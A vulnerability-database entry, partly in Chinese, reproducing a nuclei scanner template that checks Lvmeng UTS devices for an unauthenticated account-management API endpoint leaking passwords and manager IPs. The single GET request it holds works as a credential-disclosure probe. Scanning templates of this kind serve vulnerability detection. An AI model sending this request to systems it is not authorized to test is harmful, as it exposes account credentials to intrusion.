lvmeng-uts-disclosure: Lvmeng - UTS Disclosure

日期: 2025-08-01 | 影响软件: Lvmeng | POC: 已公开

漏洞描述

Lvmeng UTS was discovered.

PoC代码[已公开]

id: lvmeng-uts-disclosure

info:
  name: Lvmeng - UTS Disclosure
  author: pikpikcu
  severity: high
  description: Lvmeng UTS was discovered.
  metadata:
    max-request: 1
  tags: config,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webapi/v1/system/accountmanage/account"

    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "application/json"
        condition: and
        part: header

      - type: word
        words:
          - "password"
          - "nsfocus_uts"
          - "MANAGER_IP"
        condition: and
        part: body
# digest: 4b0a00483046022100fafda5db26f85db61820d9002c0b91f5ac6abe85f66d91db0a2bfd189c8db912022100d80c12021a00d3330e56003552935a5cf14280cf2e9c115bc8697b9d425254c3:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/exposures/configs/lvmeng-uts-disclosure.yaml